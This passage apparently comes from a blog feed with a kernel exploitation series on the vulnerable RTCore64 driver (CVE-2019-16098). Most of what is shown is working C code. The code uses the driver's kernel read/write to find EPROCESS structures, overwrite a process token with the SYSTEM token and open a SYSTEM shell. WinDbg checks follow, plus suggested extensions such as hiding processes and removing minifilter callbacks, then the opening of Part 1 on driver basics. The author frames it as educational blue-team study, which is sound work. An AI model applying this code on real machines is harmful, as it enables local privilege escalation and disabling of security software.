<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PsInitialSystemProcessOffset</span> <span class="o">=</span> <span class="n">PsInitialSystemProcessAddress</span> <span class="o">-</span> <span class="n">ntoskrnlBaseAddress</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DWORD</span> <span class="nf">GetPsInitialSystemProcessOffset</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">HMODULE</span> <span class="n">ntoskrnl</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">dwPsInitialSystemProcessOffset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">ULONG_PTR</span> <span class="n">pPsInitialSystemProcess</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">// value of ntoskrnl is the base address of the mapped ntoskrnl.exe in our process memory</span>
	<span class="n">ntoskrnl</span> <span class="o">=</span> <span class="n">LoadLibraryA</span><span class="p">(</span><span class="s">"ntoskrnl.exe"</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">ntoskrnl</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Couldn't load ntoskrnl.exe</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">pPsInitialSystemProcess</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">ntoskrnl</span><span class="p">,</span> <span class="s">"PsInitialSystemProcess"</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">pPsInitialSystemProcess</span><span class="p">)</span> <span class="p">{</span>
		<span class="c1">// substracting from the address of the symbol the base address gives us the offset</span>
		<span class="n">dwPsInitialSystemProcessOffset</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)(</span><span class="n">pPsInitialSystemProcess</span> <span class="o">-</span> <span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)(</span><span class="n">ntoskrnl</span><span class="p">));</span>
		<span class="n">FreeLibrary</span><span class="p">(</span><span class="n">ntoskrnl</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">dwPsInitialSystemProcessOffset</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Couldn't GetProcAddress of PsInitialSystemProcess</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now, to obtain the kernel address of the <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code> pointer, we can simply add the calculated offset to the kernel’s base address in kernel memory (which we already got with <code class="language-plaintext highlighter-rouge">EnumDeviceDrivers</code>). This allows us to precisely locate the <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code> pointer within the kernel.</p>

<p>Since we will often need to calculate addresses using offsets, it is helpful to create a simple function to streamline the process. Here is an example of such a function:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ULONG_PTR</span> <span class="nf">GetKernelAddress</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">KernelBase</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">Offset</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">return</span> <span class="n">KernelBase</span> <span class="o">+</span> <span class="n">Offset</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Once we have the kernel address of the <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code> pointer, we can utilize our driver exploit to read its value.<br />
Below is an example how the functions we created are used to obtain the mentioned addresses. <code class="language-plaintext highlighter-rouge">lpPsInitialSystemProcess</code> is the kernel address of <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code> which we need to read to get a pointer to the SYSTEM process <code class="language-plaintext highlighter-rouge">EPROCESS</code>. <code class="language-plaintext highlighter-rouge">lpInitialSystemProcess</code> is the value of that pointer.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">lpKernelBase</span> <span class="o">=</span> <span class="n">GetKernelBaseAddress</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">lpKernelBase</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">dwPsInitialSystemProcessOffset</span> <span class="o">=</span> <span class="n">GetPsInitialSystemProcessOffset</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">dwPsInitialSystemProcessOffset</span><span class="p">)</span>
	<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

<span class="n">lpPsInitialSystemProcess</span> <span class="o">=</span> <span class="n">GetKernelAddress</span><span class="p">(</span><span class="n">lpKernelBase</span><span class="p">,</span> <span class="n">dwPsInitialSystemProcessOffset</span><span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RTCoreReadPtr</span><span class="p">(</span><span class="n">lpPsInitialSystemProcess</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">lpInitialSystemProcess</span><span class="p">))</span> <span class="p">{</span>
	<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Couldn't read pointer for lpPsInitialSystemProcess</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
	<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now that we have the address to <code class="language-plaintext highlighter-rouge">EPROCESS</code>, we can use the driver exploit again to read the pointers to the <code class="language-plaintext highlighter-rouge">ActiveProcessLinks</code> linked list and the Token from system process <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure. Before reading, the structure field offsets (which depend on the Windows build) should be added to the <code class="language-plaintext highlighter-rouge">EPROCESS</code> address. I get the offsets from my lookup table.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RTCoreReadPtr</span><span class="p">(</span><span class="n">lpInitialSystemProcess</span> <span class="o">+</span> <span class="n">ACTIVEPROCESSLINKS_OFFSET</span><span class="p">[</span><span class="n">WinVersion</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">lpActiveProcessLinks</span><span class="p">))</span> <span class="p">{</span>
	<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Couldn't read pointer for lpActiveProcessLinks</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
	<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ULONG_PTR</span> <span class="nf">GetTokenPointer</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">eprocess</span><span class="p">,</span> <span class="n">WINDOWS_VERSION</span> <span class="n">WinVersion</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">ULONG_PTR</span> <span class="n">Token</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RTCoreReadPtr</span><span class="p">(</span><span class="n">eprocess</span> <span class="o">+</span> <span class="n">TOKEN_OFFSET</span><span class="p">[</span><span class="n">WinVersion</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">Token</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Couldn't read pointer for Token</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">Token</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>To find the <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure for our own process, we can traverse the <code class="language-plaintext highlighter-rouge">ActiveProcessLinks</code> doubly linked list, starting from the System process <code class="language-plaintext highlighter-rouge">EPROCESS</code>. We compare the <code class="language-plaintext highlighter-rouge">UniqueProcessId</code> of each structure with the process ID of our process. Once a match is found, we have successfully located our own <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure.</p>

<p>We can use two helper functions to achieve this. The first function returns the PID for a given EPROCESS pointer. This is done by just reading the value at address <code class="language-plaintext highlighter-rouge">(SystemEPROCESS + UniqueProcessIdOffset)</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DWORD</span> <span class="nf">GetUniqueProcessId</span><span class="p">(</span><span class="n">ULONG_PTR</span> <span class="n">eprocess</span><span class="p">,</span> <span class="n">WINDOWS_VERSION</span> <span class="n">WinVersion</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">ULONG_PTR</span> <span class="n">pUniqueProcessId</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">UniqueProcessId</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">pUniqueProcessId</span> <span class="o">=</span> <span class="n">eprocess</span> <span class="o">+</span> <span class="n">UNIQUEPROCESSID_OFFSET</span><span class="p">[</span><span class="n">WinVersion</span><span class="p">];</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">lpInitialSystemProcess</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] lpInitialSystemProcess not initialized!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RTCoreRead32</span><span class="p">(</span><span class="n">pUniqueProcessId</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">UniqueProcessId</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Couldn't read value from pUniqueProcessId</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">UniqueProcessId</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The second function, finds the kernel address of an <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure for a given PID. It’s doing it by traversing the <code class="language-plaintext highlighter-rouge">ActiveProcessLinks</code> list, reading the <code class="language-plaintext highlighter-rouge">UniqueProcessId</code> value of the current <code class="language-plaintext highlighter-rouge">EPROCESS</code> and comparing it to the PID of our process:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ULONG_PTR</span> <span class="nf">GetEprocessByPid</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">Pid</span><span class="p">,</span> <span class="n">WINDOWS_VERSION</span> <span class="n">WinVersion</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">DWORD</span> <span class="n">CurrentPid</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">ULONG_PTR</span> <span class="n">CurrentEprocess</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">ULONG_PTR</span> <span class="n">Flink</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">// start traversing from the System process</span>
	<span class="n">CurrentEprocess</span> <span class="o">=</span> <span class="n">lpInitialSystemProcess</span><span class="p">;</span> 
	<span class="n">CurrentPid</span> <span class="o">=</span> <span class="n">GetUniqueProcessId</span><span class="p">(</span><span class="n">lpInitialSystemProcess</span><span class="p">,</span> <span class="n">WinVersion</span><span class="p">);</span>

	<span class="k">while</span> <span class="p">(</span><span class="n">CurrentPid</span> <span class="o">!=</span> <span class="n">Pid</span><span class="p">)</span> <span class="p">{</span>
		<span class="c1">// read the address for the next EPROCESS in the list</span>
		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RTCoreReadPtr</span><span class="p">(</span><span class="n">CurrentEprocess</span> <span class="o">+</span> <span class="n">ACTIVEPROCESSLINKS_OFFSET</span><span class="p">[</span><span class="n">WinVersion</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">Flink</span><span class="p">))</span> <span class="p">{</span>
			<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Couldn't read pointer for ActiveProcessLinks.Flink</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
			<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="c1">// the address points to the Flink field, so we need to substract the offset of ActiveProcessLinks to get the base address of the EPROCESS structure</span>
		<span class="n">CurrentEprocess</span> <span class="o">=</span> <span class="n">Flink</span> <span class="o">-</span> <span class="n">ACTIVEPROCESSLINKS_OFFSET</span><span class="p">[</span><span class="n">WinVersion</span><span class="p">];</span>
		<span class="n">CurrentPid</span> <span class="o">=</span> <span class="n">GetUniqueProcessId</span><span class="p">(</span><span class="n">CurrentEprocess</span><span class="p">,</span> <span class="n">WinVersion</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="n">CurrentEprocess</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At last, we arrive at the final step of stealing the SYSTEM token. The following function plays a key role in this process. It takes a process PID as an argument, allowing us to specify the target process. If the supplied PID is zero, the function changes the token of the current process. Otherwise, it modifies the token of the specified target process.</p>

<p>The function begins by obtaining the address of the SYSTEM token. Then, it performs a bitwise AND operation on the token address with the value <code class="language-plaintext highlighter-rouge">NOT 15</code> (equivalent to <code class="language-plaintext highlighter-rouge">0xFFFFFFFFFFFFFFF0</code>). This operation effectively zeroes out the four least significant bits, which represent the reference count of the token. By zeroing out these bits, we obtain the actual token address we need.</p>

<p>Next, it locates the <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure of the target process. Once we have the <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure, we can retrieve the token pointer for the target process. We can retain the reference count by AND-ing the value with <code class="language-plaintext highlighter-rouge">0xF</code>.</p>

<p>We construct a new value for the token by combining the current process’s reference count with the address of the SYSTEM token. This new value represents the SYSTEM token with an updated reference count.</p>

<p>Finally, we write this newly constructed value to the token field of the target process’s <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure. With this modification in place, our process now possesses SYSTEM privileges.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">GetSystem</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">Pid</span><span class="p">,</span> <span class="n">WINDOWS_VERSION</span> <span class="n">WinVersion</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">ULONG_PTR</span> <span class="n">SystemToken</span><span class="p">;</span>
	<span class="n">ULONG_PTR</span> <span class="n">TargetEprocess</span><span class="p">;</span>
	<span class="n">ULONG_PTR</span> <span class="n">TargetToken</span><span class="p">;</span>
	<span class="n">ULONGLONG</span> <span class="n">TargetTokenReferenceCount</span><span class="p">;</span>
	<span class="n">ULONG_PTR</span> <span class="n">NewToken</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">TargetPid</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>


	<span class="k">if</span> <span class="p">(</span><span class="n">Pid</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">TargetPid</span> <span class="o">=</span> <span class="n">GetCurrentProcessId</span><span class="p">();</span>
	<span class="p">}</span>
	<span class="k">else</span> <span class="p">{</span>
		<span class="n">TargetPid</span> <span class="o">=</span> <span class="n">Pid</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">SystemToken</span> <span class="o">=</span> <span class="n">GetTokenPointer</span><span class="p">(</span><span class="n">lpInitialSystemProcess</span><span class="p">,</span> <span class="n">WinVersion</span><span class="p">);</span>
	<span class="c1">// The Token value in EPROCESS is combination of pointer and Reference count</span>
	<span class="c1">// Least significat 4 bits are reserved for the reference count</span>
	<span class="c1">// Zeroing-out those bits will get us the actual pointer to the Token</span>
	<span class="n">SystemToken</span> <span class="o">=</span> <span class="n">SystemToken</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mi">15</span><span class="p">;</span>

	<span class="n">TargetEprocess</span> <span class="o">=</span> <span class="n">GetEprocessByPid</span><span class="p">(</span><span class="n">TargetPid</span><span class="p">,</span> <span class="n">WinVersion</span><span class="p">);</span>

	<span class="n">TargetToken</span> <span class="o">=</span> <span class="n">GetTokenPointer</span><span class="p">(</span><span class="n">TargetEprocess</span><span class="p">,</span> <span class="n">WinVersion</span><span class="p">);</span>

	<span class="c1">// Get the target process Token reference count</span>
	<span class="n">TargetTokenReferenceCount</span> <span class="o">=</span> <span class="n">TargetToken</span> <span class="o">&amp;</span> <span class="mi">15</span><span class="p">;</span>
	
	<span class="c1">// Combine the system token pointer with the reference count of the target process</span>
	<span class="n">NewToken</span> <span class="o">=</span> <span class="n">SystemToken</span> <span class="o">|</span> <span class="n">TargetTokenReferenceCount</span><span class="p">;</span>

	<span class="c1">// Overwrite the target process Token value</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RTCoreWrite64</span><span class="p">(</span><span class="n">TargetEprocess</span> <span class="o">+</span> <span class="n">TOKEN_OFFSET</span><span class="p">[</span><span class="n">WinVersion</span><span class="p">],</span> <span class="n">NewToken</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Couldn't write new Token</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If we want to pop into a CMD shell with SYSTEM privileges, it’s quite easy. Just start a new cmd.exe process :) It will inherit the token of the parent, therefore it will have the same privileges.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">GetSystemCMD</span><span class="p">(</span><span class="n">WINDOWS_VERSION</span> <span class="n">WinVersion</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">STARTUPINFOA</span> <span class="n">StartupInfo</span><span class="p">;</span>
	<span class="n">PROCESS_INFORMATION</span> <span class="n">ProcessInformation</span><span class="p">;</span>

	<span class="n">ZeroMemory</span><span class="p">(</span><span class="o">&amp;</span><span class="n">StartupInfo</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">StartupInfo</span><span class="p">));</span>
	<span class="n">ZeroMemory</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ProcessInformation</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">));</span>

	<span class="n">StartupInfo</span><span class="p">.</span><span class="n">cb</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">StartupInfo</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">GetSystem</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">WinVersion</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Couldn't get system..</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">CreateProcessA</span><span class="p">(</span><span class="s">"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">cmd.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">StartupInfo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ProcessInformation</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Couldn't create cmd.exe process!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">INFINITE</span><span class="p">);</span>
	<span class="n">CloseHandle</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
	<span class="n">CloseHandle</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And when we run it, we get a system shell :)<br />
<img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/GetSystemCmd.png" alt="Get System" class="align-center" /></p>

<p>To troubleshoot issues and verify that the addresses and values are what they should be, windbg can be used. The command <code class="language-plaintext highlighter-rouge">lm m nt</code> will show you the kernel start and end addresses of the <code class="language-plaintext highlighter-rouge">nt</code> module (which is the kernel). The start address is the base address.<br />
<img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/windbg_kernel_baseaddress1.png" alt="Kernel Base Address" class="align-center" /></p>

<p><code class="language-plaintext highlighter-rouge">? nt!PsInitialSystemProcess</code> will show you the address of the symbol <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code> in kernel-land. By subtracting from it the base address we got above we can calculate the offset <code class="language-plaintext highlighter-rouge">? nt!PsInitialSystemProcess - &lt;nt_baseaddress&gt;</code>. Using <code class="language-plaintext highlighter-rouge">poi(nt!PsInitialSystemProcess)</code> will dereference the pointer at <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code> and will show us the address of the System <code class="language-plaintext highlighter-rouge">EPROCESS</code>.<br />
<img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/windbg_psinitialsystemprocess1.png" alt="PsInitialSystemProcess" class="align-center" /></p>

<p>The command <code class="language-plaintext highlighter-rouge">!process 0 1</code> will show more verbose information about a process, including the Token pointer. The first value at the top is the <code class="language-plaintext highlighter-rouge">EPROCESS</code> address.<br />
<img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/windbg_systemtoken1.png" alt="System Token" class="align-center" /></p>

<p><code class="language-plaintext highlighter-rouge">dt nt!_EPROCESS &lt;eprocess_address&gt; Token</code> will show the Token value of an <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure. The one below is for the System <code class="language-plaintext highlighter-rouge">EPROCESS</code> which we got above. This is the raw value from the structure, including the reference count, that’s why it differs from the previous command (which shows only the address).<br />
<img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/windbg_tokenpointer1.png" alt="System EPROCESS Token Value" class="align-center" /></p>

<p>The same way we can get the values for the target process.<br />
<img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/windbg_targettoken1.png" alt="Target Process Token" class="align-center" /></p>

<p>And the active process links:<br />
<img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/windbg_activeprocesslinks.png" alt="ActiveProcessLinks" class="align-center" /></p>

<p>For now, this concludes my kernel series of blog posts. I’m not sure if I’ll find the time to write part 3, where I wanted to cover removing minifilter registry callbacks. But it’s also too much on the offensive side for my taste, so I’m not even sure if it’s good idea.</p>

<p>As a summary, the end purpose of kernel-level exploits boils down to reading and modifying kernel-level data structures which in turn modify the behaviour of the OS. A couple of such structures are the EPROCESS and KPROCESS.</p>

<p>You should have enough understanding by now to read the code of PPLKiller and PPLControl to understand how those tools remove the PPL protection from protected processes (hint: modifying some structures which can be found from EPROCESS) and even implement something on your own.</p>

<p>As an exercise you can try to extend the current code and add functionality:</p>
<ul>
  <li>to hide a target process from the process list</li>
  <li>make a target process a critical process or a system process (such that when killed, the OS crashes)</li>
  <li>Change the token structure itself to enable all possible privileges</li>
  <li>Delete callbacks registered by minifilter drivers</li>
</ul>

<h1 id="4-references">4. References</h1>
<hr />
<ol>
  <li><a href="https://github.com/itm4n/PPLcontrol">https://github.com/itm4n/PPLcontrol</a></li>
  <li><a href="https://github.com/RedCursorSecurityConsulting/PPLKiller">https://github.com/RedCursorSecurityConsulting/PPLKiller</a></li>
  <li><a href="https://github.com/Barakat/CVE-2019-16098">https://github.com/Barakat/CVE-2019-16098</a></li>
  <li><a href="https://www.vergiliusproject.com/kernels/x64">https://www.vergiliusproject.com/kernels/x64</a></li>
  <li><a href="https://en.wikipedia.org/wiki/Architecture_of_Windows_NT">https://en.wikipedia.org/wiki/Architecture_of_Windows_NT</a></li>
  <li><a href="https://wumb0.in/finding-the-base-of-the-windows-kernel.html">https://wumb0.in/finding-the-base-of-the-windows-kernel.html</a></li>
  <li><a href="https://github.com/winsiderss/phnt">https://github.com/winsiderss/phnt</a></li>
</ol>]]></content><author><name>Ilia Dafchev</name></author><category term="posts" /><category term="CVE-2019-16098" /><category term="driver" /><category term="vulnerability" /><category term="exploit" /><category term="kernel" /><summary type="html"><![CDATA[Exploiting CVE-2019-16098 to steal a token]]></summary></entry><entry><title type="html">Exploring the Windows kernel using vulnerable driver - Part 1</title><link href="https://idafchev.github.io/blog/Vulnerable_Driver_Part1/" rel="alternate" type="text/html" title="Exploring the Windows kernel using vulnerable driver - Part 1" /><published>2023-06-30T00:00:00+03:00</published><updated>2023-06-30T00:00:00+03:00</updated><id>https://idafchev.github.io/blog/Vulnerable_Driver_Part1</id><content type="html" xml:base="https://idafchev.github.io/blog/Vulnerable_Driver_Part1/"><![CDATA[<h1 id="1-introduction">1. Introduction</h1>
<hr />
<p>I got really curious about how those tools that bypass security software with a driver actually work. So, I decided to dig into the source code of some popular ones like PPLKiller, PPLControl, and others that take advantage of the CVE-2019-16098 vulnerability in the MSI Afterburner driver. However, I have always found hands-on practice to be the most effective way for me to comprehend complex concepts, so even though I’m a blue teamer, I thought it would be interesting to rewrite the code from scratch, using their code as a reference, and add some extra functionality to see if I really understood it all.</p>

<p>I won’t be sharing the complete source code or any compiled binaries. This is purely for educational purposes, and let’s be honest, there are already enough offensive tools out there.</p>

<p>In this series of blog posts, I’ll try to explain everything step-by-step, making it easy to follow along and self-contained. I’ll dive into the driver’s vulnerability, how it can be exploited, and what kind of damage it can cause, like escalating privileges or terminating protected processes.</p>

<p>Also check out my previous post on setting up a kernel debugging environment and my Windbg cheatsheet. I won’t be going over all the Windbg commands again, so having that knowledge will come in handy.</p>

<p>In Part 1, I’ll start by explaining how drivers actually work, giving you the lowdown on the RTCore64 vulnerability, and showing you how to exploit it.</p>

<h1 id="2-windows-driver-basics">2. Windows driver basics</h1>
<hr />
<p>There are three types of Windows drivers: bus drivers, function drivers, and filter drivers. In this section, we’ll focus on function drivers, which serve as the primary drivers for devices and are typically developed by the device vendors themselves. These drivers are responsible for managing input/output (I/O) operations for devices and provide an operational interface for them, handling read and write requests to the device.</p>

<p>Communication between drivers and user-mode applications is a lot like the client-server model. The driver acts similarly to a server, exposing certain functionalities that client applications can request from the user mode. The application sends a request packet, known as an I/O Request Packet (IRP), to the driver. Upon receiving the packet, the driver executes the requested function in kernel-mode. Different types of IRPs exist, depending on the specific operation being requested.</p>

<p>VVulnerabilities often arise when an application running with limited privileges can request privileged functionality from the driver. This can potentially allow the unprivileged user to escalate privileges or manipulate the behavior of the operating system by modifying sensitive values in the system memory.</p>

<p>The entry point of a driver is a function called <code class="language-plaintext highlighter-rouge">DriverEntry</code>, which receives a partially initialized Driver Object as its first argument. The purpose of <code class="language-plaintext highlighter-rouge">DriverEntry</code> is to complete the initialization of the driver object by populating certain function pointers within the object. This enables the operating system to locate the functions exposed by the driver.</p>

<p>One of the initial steps performed by a driver is creating a Device Object that represents the device (either virtual or physical) for which the driver handles I/O requests. This device is created with the function <code class="language-plaintext highlighter-rouge">IoCreateDevice</code>.</p>

<p>For a regular user to be able to communicate with that device it needs a DOS device name registered in the Object Manager. This registration is achieved by invoking <code class="language-plaintext highlighter-rouge">IoCreateSymbolicLink</code>.</p>

<p>Next, the driver should set the function pointers mentioned earlier. A simple example is the <code class="language-plaintext highlighter-rouge">DriverUnload</code> routine which should define the cleanup actions when the driver is unloaded (freeing memory, etc.). After defining the function, initialization inside <code class="language-plaintext highlighter-rouge">DriverEntry</code> is done by just pointing the field <code class="language-plaintext highlighter-rouge">DriverObject-&gt;DriverUnload</code> to the function <code class="language-plaintext highlighter-rouge">DriverUnload</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VOID</span> <span class="nf">DriverUnload</span><span class="p">(</span><span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">){</span>
  <span class="c1">// Cleanup actions</span>
<span class="p">}</span>

<span class="n">NTSTATUS</span> <span class="nf">DriverEntry</span><span class="p">(</span><span class="n">IN</span> <span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">,</span> <span class="n">PUNICODE_STRING</span> <span class="n">RegistryPath</span><span class="p">){</span>
  <span class="c1">//...</span>
